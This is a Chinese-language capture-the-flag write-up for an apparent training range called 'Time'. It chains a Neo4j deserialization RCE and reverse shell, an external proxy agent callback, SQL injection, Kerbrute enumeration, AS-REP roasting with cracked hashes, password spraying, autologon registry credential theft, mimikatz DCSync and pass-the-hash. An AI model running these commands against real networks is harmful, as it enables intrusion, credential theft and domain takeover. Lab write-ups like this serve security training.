靶场介绍
Time是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 E:\fscan>fscan.exe -h 39.99.159.74 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 39.99.159.74:22 open 39.99.159.74:7687 open [*] alive ports len is: 2 start vulscan [*] WebTitle https://39.99.159.74:7687 code:400 len:50 title:None 已完成 2/2 [*] 扫描结束,耗时: 27.6078348s
发现开放了7687端口,它是neo4j默认的Bolt 协议端口
Flag01
neo4j未授权RCE Neo4j 是一个高性能的 NoSQL 图形数据库,它将事物之间的关系存储为数据库技术,广泛用于知识图谱,社交关系链,商品推荐,IT架构,商品主数据等领域。 在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中 setSessionVariable 方法存在反序列化漏洞。 因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。vulhub/neo4j/CVE-2021-34371/README.zh-cn.md at master · vulhub/vulhub · GitHub
1 /usr/lib/jvm/java-8 -openjdk-amd64/bin/java -jar rhino_gadget.jar rmi:
反弹Shell拿下Flag01 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 (remote) neo4j@ubuntu:/$ cd /home/neo4j/ (remote) neo4j@ubuntu:/home/neo4j$ ls flag01.txt (remote) neo4j@ubuntu:/home/neo4j$ cat flag01.txt ██████████ ██ ░░░░░██░░░ ░░ ░██ ██ ██████████ █████ ░██ ░██░░██░░██░░██ ██░░░██ ░██ ░██ ░██ ░██ ░██░███████ ░██ ░██ ░██ ░██ ░██░██░░░░ ░██ ░██ ███ ░██ ░██░░██████ ░░ ░░ ░░░ ░░ ░░ ░░░░░░ flag01: flag{76f61981-5d70-4010-856c-a43cf158531e} Do you know the authentication process of Kerberos? ......This will be the key to your progress. (remote) neo4j@ubuntu:/home/neo4j$
Flag02
内网代理搭建与信息收集 查看网卡信息 得到内网IP 172.22.6.36
fscan扫描内网 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 (remote) neo4j@ubuntu:/tmp$ ./fscan -h 172.22.6.36/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 172.22.6.12 is alive (icmp) Target 172.22.6.38 is alive (icmp) Target 172.22.6.36 is alive (icmp) Target 172.22.6.25 is alive [*] Icmp alive hosts len is: 4 172.22.6.12:88 open 172.22.6.25:445 open 172.22.6.12:445 open 172.22.6.25:139 open 172.22.6.12:139 open 172.22.6.25:135 open 172.22.6.12:135 open 172.22.6.36:22 open 172.22.6.38:22 open 172.22.6.38:80 open 172.22.6.36:7687 open [*] alive ports len is: 11 start vulscan [*] NetInfo [*]172.22.6.25 [-> ]WIN2019 [-> ]172.22.6.25 [*] NetInfo [*]172.22.6.12 [-> ]DC-PROGAME [-> ]172.22.6.12 [*] OsInfo 172.22.6.12 (Windows Server 2016 Datacenter 14393) [*] NetBios 172.22.6.25 XIAORANG\WIN2019 [*] NetBios 172.22.6.12 [+] DC:DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] WebTitle http://172.22.6.38 code:200 len:1531 title:后台登录 [*] WebTitle https://172.22.6.36:7687 code:400 len:50 title:None 已完成 11/11 [*] 扫描结束,耗时: 12.095527355s
整理信息 1 2 3 4 172.22 .6.12 DC:DC-PROGAME.xiaorang.lab 域控172.22 .6.25 WIN2019.xiaorang.lab 域内主机172.22 .6.36 neo4j web入口机 已拿下 172.22 .6.38 内网web机 开放80 端口
搭建内网代理 1 2 3 4 ./linux_x64_admin -l 1111 ./linux_x64_agent -c 116.62.175.18:1111 use 0 socks 1123
sql注入 有web先看web 打开是一个登录框 (存在sql注入) 探测数据库 脱库 数据库中获取flag02
1 2 3 4 5 6 7 8 9 [20 :57 :12 ] [INFO] fetching entries for table 'oa_f1Agggg' in database 'oa_db' Database: oa_db Table: oa_f1Agggg [1 entry] +----+--------------------------------------------+ | id | flag02 | +----+--------------------------------------------+ | 1 | flag{b142f5ce-d9b8-4b73-9012 -ad75175ba029} | +----+--------------------------------------------+
从数据库的另外两个表里分别获取到了管理员的密码 bo2y8kAL3HnXUiQo administrator从user表里面获取到了500个用户的信息
Flag03
Kerberos brute-force 相关知识可以看这篇文章Kerberos Brute-Force 发现这些用户都是域名结尾。其中很可能就有有效的域用户 使用 Kerbrute进行枚举出有效的域内用户
1 kerbrute userenum --dc 172.22.6.12 -d xiaorang.lab users.txt -o valid_users.txt
这里因为本地无法与域控通信 ,用web入口机执行 枚举出74个有效的域内用户 保存到本地 valid_users.txt 并做一下处理 得到66个有效邮箱
AS-REP Roasting 相关知识 AS-REP-Roasting
> 对于域用户,如果设置了选项 Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令
查找未设置预认证的域用户
1 proxychains -q impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile valid_users.txt xiaorang.lab/
获取到了两个账号
1 $krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:4432aa92c996420577ee4f9321b40631$69e318e8deab4611e6ca6281ad5d8ccbbef89eace6de836cfc51a54c8bd5171ed937c11005137c74f4e8c1eaefd448f8de343c799d9f756dbf04a63f7d4ad0b65fa1624f8615b4c8e58b0d4d5c8fc15704618c154bf99467582de31853111e1962f11c2c774e2e591f33095b3f2c3ff61e60ee86ebace25cd6d49ddc1042bbc8c5e42a8e7da0432c40739821e11fadfd0f9eb701f356bbe25259a018c10a44ed209806d440587a7e218610a206e4e5aed7e05c04fdddb8ed4ea343fa831db7e4dcd0862e77f756a549cc47a0e01da89ecb8e3aad6e053403cdfd66028fc7d553b9565235517a68dbdd03a0bb
1 $krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:8493f6cda866ce0f0187a6f901a9f01c$51f50492ab092dcdf12c6ca0b4d1ff71a954afdcbe7cb64228461457fbb0708e868cc333bca9eb53fea45614f0ffdb05547ac9a9432e2ff1a6e7ad867c335beb57c1e0e0d3d8445730ce581308ce15cfc7014eb13a61a92c3f4db869a726b360c0b4065dc29570e0ed2e18d10575bc16b471134c1072bd8e57b8feb29348ad734c2ca8860482d349576669f77ad40dc2bd0cf76b8b3bd811d447ad22a4b387b501df6fff9912a61ae062d289778e6ddf80fed5ebdd749b65efe61d5fa424c79eae20882393c74a4888d80afdb1b947ee13133569a83df2dd7da510c3f89ef9712ff28090543348d906c8a6af
hashcat解密 1 hashcat -m 18200 -a 0 --force hash.txt rockyou.txt
成功获取账号密码
1 2 zhangxin@xiaorang.lab strawberry wenshao@xiaorang.lab hellokitty
密码喷涂 1 proxychains -q nxc rdp 172.22.6.0/24 -u vuser.txt -p valid_pass.txt --no-bruteforce
发现 xiaorang.lab\wenshao:hellokitty 可以登录 172.22.6.25
rdp远程登录 上传SharpHound进行数据采集
然后导入 bloodhound分析 发现我们当前的机器 WIN2019 上面保存有 YUXUAN 用户的密码,YUXUAN 用户又包含了域管用户的 SID 那我们就可以通过 YUXUAN 用户进行 DCSync 拿下这整个域
HasSession HasSession :用户与计算机时进行会话时,凭据会保留在内存中,说明yuxuan这个用户登录过WIN2019 很多用户习惯将计算机设置自动登录,可以使用MSF抓取保存在注册表中自动登录的用户名和密码
这里直接rdp上去 用Powershell使用命令获取保存的密码
1 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
获取到了yuxuan 用户保存的密码
1 2 3 DefaultUserName REG_SZ yuxuan DefaultPassword REG_SZ Yuxuan7QbrgZ3L DefaultDomainName REG_SZ xiaorang.lab
1.12_HasSIDHistory 登录上面的账号,因为我们当前账号包含了域管的SID,所以我们也有与域管相同的特权与权利 直接 DCSync 获取域管的hash
先传一个 mimikatz
1 2 log 1 .txt lsadump::dcsync /domain:xiaorang .lab /user:administrator #导出域管的hash
1.txt
1 04d93ffd6f5f6e4490e0de23f240a5e9
获取到了域管的hash后直接PTH 到这两台主机上拿flag即可
1 proxychains impacket-wmiexec xiaorang/administrator@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 -codec gbk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 C:\users\administrator\flag 的目录 2022/06/29 09:48 <DIR> . 2022/06/29 09:48 <DIR> .. 2026/03/26 18:59 247 flag03.txt 1 个文件 247 字节 2 个目录 30,131,601,408 可用字节 C:\users\administrator\flag>type flag03.txt flag03: flag{998fa961-5805-458e-a119-a03d938714c7} Maybe you can find something interesting on this server. ======================================= What you may not know is that many objects in this domain are moved from other domains. C:\users\administrator\flag>
Flag04
1 proxychains impacket-wmiexec XIAORANG/administrator@172.22.6.12 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 -codec gbk
1 2 type C:\Users\Administrator\flag\flag*
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 C:\>type C:\Users\Administrator\flag\flag* C:\Users\Administrator\flag\flag04.txt Awesome! you got the final flag. :::::::::::::::::::::::::: :::: :::::::::: :+: :+: +:+:+: :+:+:+:+: +:+ +:+ +:+ +:+:+ +:++:+ +#+ +#+ +#+ +:+ +#++#++:++# +#+ +#+ +#+ +#++#+ #+# #+# #+# #+##+# ### ############## ############# flag04: flag{307777f8-7acc-4d58-8d0a-670e57c28a02} C:\>